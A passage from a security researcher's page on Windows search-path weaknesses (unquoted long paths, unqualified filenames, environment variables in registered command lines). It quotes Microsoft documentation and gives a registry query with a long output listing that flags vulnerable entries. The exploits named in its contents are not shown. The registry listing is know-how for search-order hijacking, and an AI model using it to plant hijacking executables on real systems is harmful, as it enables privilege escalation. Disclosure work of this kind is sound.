Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

P(h)un intended: phamous quotes, phunny spaces, phancy backslashes, plus phorged environment variables, for a phabulous backlash

Purpose
Reason
Documentation
Background Information
Detection
Windows 10 2004, x64 alias AMD64 processor architecture
Windows 10 1909, x86 alias I386 processor architecture
Demonstration
Exploit 0
Exploit 1
Exploit 2
Exploit 3
Exploit 4
Exploit 5
Mitigation

Purpose

Demonstrate (trivial but widespread) vulnerabilities of Microsoft® Windows® resulting from exceptionally poor programming practice, ignorance, missing security awareness, plus failure to exercise trustworthy computing and defense in depth.

Note: these well-known weaknesses are documented as CWE-426: Untrusted Search Path, CWE-427: Uncontrolled Search Path Element and CWE-428: Unquoted Search Path Element in the CWE, they allow well-known attacks like CAPEC-471: Search Order Hijacking documented in the CAPEC.

Reason

25 years after introducing long filenames, and despite their own copious documentation, Microsoft still ships Windows with vulnerable command lines missing (double) quotes as well as fully qualified (absolute) pathnames and COM classes registered with vulnerable unqualified filenames.
Additionally (user-controlled) environment variables are still used (not just) in command lines and the pathnames of COM classes.

The cause for the prevalence of these trivial to exploit vulnerabilities are careless, clueless and sloppy developers who are most obviously not aware of any security (implications) as well as their own companies documentation, plus the total absence of any (serious) quality assurance and supervision!

Documentation

For one of the oldest still available documents see the MSKB article 102739:
Use quotation marks when specifying long filenames or paths with spaces.
[…]
Note that the quotation marks must be used.
In section ShellExecute, ShellExecuteEx, and Related Functions the MSDN article Security Considerations: Microsoft Windows Shell specifies:
Make sure you provide an unambiguous definition of the application that is to be executed.
In section Security Remarks the MSDN article WinExec function specifies:
The executable name is treated as the first white space-delimited string in lpCmdLine. If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces.
In section Shortcut Menu Verbs the MSDN article Verbs and File Associations specifies:
If any element of the command string contains or might contain spaces, it must be enclosed in quotation marks. Otherwise, if the element contains a space, it will not parse correctly. For instance, "My Program.exe" starts the application properly. If you use My Program.exe without quotation marks, then the system attempts to launch My with Program.exe as its first command line argument. You should always use quotation marks with arguments such as %1 that are expanded to strings by the Shell, because you cannot be certain that the string will not contain a space.
In section Registering an Open Verb the MSDN article Registering Programs with Client Types specifies:
The command line must specify a fully qualified absolute path to the file, followed by optional command-line options. If the entry type is REG_EXPAND_SZ, environment variables can be used in the path. Use quotation marks appropriately to ensure that spaces in the command line are not misinterpreted.
Above section Security Issues the MSDN article Registering an Application to a URI Scheme specifies:
When ShellExecute() executes the pluggable protocol handler with a string on the command line, any non-encoded spaces, quotes, and backslashes in the URI will be interpreted as part of the command line. This means that if you use C/C++'s argc and argv to determine the arguments passed to your application, the string may be broken across multiple parameters. To mitigate this issue:
In sectionSecurity Remarks the MSDN article CreateProcess function specifies:
If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces.
In sectionParameters the MSDN article CreateService function specifies:
lpBinaryPathName [in, optional]
The fully qualified path to the service binary file. If the path contains a space, it must be quoted so that it is correctly interpreted. For example, "d:\\my share\\myservice.exe" should be specified as "\"d:\\my share\\myservice.exe\"".
At its bottom the MSDN article Self-Registration specifies:
The server must register the full path to the installation location of the DLL or EXE module for their respective InprocServer32, InprocHandler32, and LocalServer32 keys in the registry.
In section Remarks the MSDN article DefaultIcon specifies:
This is a REG_SZ value that specifies the full path to the executable name […]
In section Remarks the MSDN article LocalServer specifies:
Specifies the full path to a 16-bit local server application.
In section Remarks the MSDN article LocalServer32 specifies:
Specifies the full path to a 32-bit local server application.
[…]
The ServerExecutable value, which is of type REG_SZ and is supported starting with Windows Server 2003, works in conjunction with the LocalServer32 subkey to prevent any ambiguity when using the CreateProcess function. LocalServer32 specifies the location of the COM server application to launch, and this information is passed as the first parameter lpApplicationName for CreateProcess. Depending on the implementation of CreateProcess, this information might be ambiguous. For this reason, if ServerExecutable is specified, COM passes the ServerExecutable named value to the lpApplicationName parameter of CreateProcess. If ServerExecutable is not specified, COM passes NULL as the value for the first parameter of CreateProcess.

To help provide system security, use quoted strings in the path to indicate where the executable filename ends and the arguments begin.

Note: the MSDN articles InprocHandler, InprocHandler32, InprocServer, InprocServer32 and ToolBoxBitmap32 fail to specify the use of fully qualified (absolute) pathnames and need to be corrected!

Since COM in-process handlers and servers are implemented in DLLs, the MSDN article Dynamic-Link Library Security, the MSKB article 2389418, the Security Advisory 2269637 and the MSRC blog post Load Library Safely apply:

Wherever possible, specify a fully qualified path when using the LoadLibrary, LoadLibraryEx, CreateProcess, or ShellExecute functions.
Use fully qualified paths for all calls to LoadLibrary, CreateProcess, and ShellExecute where you can.
This exploit may occur when applications do not directly specify the fully qualified path to a library it intends to load.
Always specify the fully qualified path when the library location is constant.

Background Information

Windows Vista® and newer versions of Windows are shipped as (pre-built) generalised system images, designed to run from a single hard disk partition with the drive letter C assigned. All directories and files contained within these system images have fixed, language-independent (path)names and can neither be relocated nor renamed: see the MSKB articles 949977 and 2787623 for some details. Additionally the vast majority of files are (nowadays) registered with their absolute (fully qualified) pathname containing the (fixed) drive letter and the language-independent directory name, which renders their change or relocation practically impossible.

The use of environment variables within pathnames serves no (good) purpose, it is not just deprecated and superfluous, but outright dangerous, allowing attacks like those shown below in the first place, and must therefore be avoided and banned!

This holds of course against the use of environment variables in code too, where functions like GetAllUsersProfileDirectory(), GetComputerName(), GetComputerNameEx(), GetComputerObjectName(), GetProfilesDirectory(), GetSystemDirectory(), GetSystemWow64Directory(), GetUserName(), GetUserNameEx(), GetUserProfileDirectory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() are available to get at least the information provided in the environment variables %ALLUSERSPROFILE%, %APPDATA%, %CommonProgramFiles%, %CommonProgramFiles(x86)%, %COMPUTERNAME%, %LOCALAPPDATA%, %ProgramData%, %ProgramFiles%, %ProgramFiles(x86)%, %PUBLIC%, %SystemDrive%, %SystemRoot%, %USERDOMAIN%, %USERNAME% as well as %USERPROFILE%, which should must be used instead of functions like ExpandEnvironmentStrings(), ExpandEnvironmentStringsForUser() or GetEnvironmentVariable()!

Detection

Start a Command Prompt and run the following command lines to find some command lines registered with unqualified filenames, with unquoted long pathnames containing spaces, with unquoted pathnames containing environment variables and with unquoted arguments.

Note: the input command lines can be copied and pasted as blocks into the Command Prompt window!

Note: offending parts of matching command lines are highlighted in the output.

Note: the search is far from exhaustive, it covers just the command lines returned from the FTYPE command, i.e. file types registered with the Verb Open, and the executables registered with COM classes!

Windows 10 2004, x64 alias AMD64 processor architecture

  1. All command lines registered with Programmatic Identifiers or Client Types:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "Command" /K /S /VE
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Manifest\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Reference\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mspaint.exe\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\photoviewer.dll\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\provtool.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wordpad.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AudioCD\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\brmFile\shell\Open\command
        (Standard)    REG_SZ    "PrintBrmUI.exe" /import /file:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\campfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CATFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cdmpfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCER %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\certificate_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\hh.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5ea4f148-308c-46d7-98a9-49041b1dd468}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mblctr.exe /open
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{67718415-c450-4f3c-bf8a-b487642dc39b}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\optionalfeatures.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    netplwiz.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{80F3F1D5-FECA-45F3-BC32-752C152E456E}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\NoAddOns\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,Control_RunDLL C:\Windows\System32\inetcpl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\colorcpl.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\comfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\cplopen\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe "%1",%*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe shell32.dll,Control_RunDLLAsUser "%1",%*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCRL %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\desktopthemepackfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpen\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpenInNewWindow\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{0850302A-B344-4fda-9BE9-90576B8D46F0}\Shell\Bluetooth\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\bthprops.cpl,,1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{70FFD812-4C7F-4C7D-926A-637B7DD852AF}\Shell\DeviceInstall\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\newdev.dll,DeviceInternetSettingUi 2
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{884b96c3-56ef-11d1-bc8c-00a0c91405dd}\Shell\Regional\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe %SystemRoot%\System32\intl.cpl,,/p:"keyboard"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Cabinet\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /cab "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /load "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /open "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Resmon.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /res /load "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DLNA-PLAYSINGLE\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-passphrase\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe -pw %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-pin\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe
    
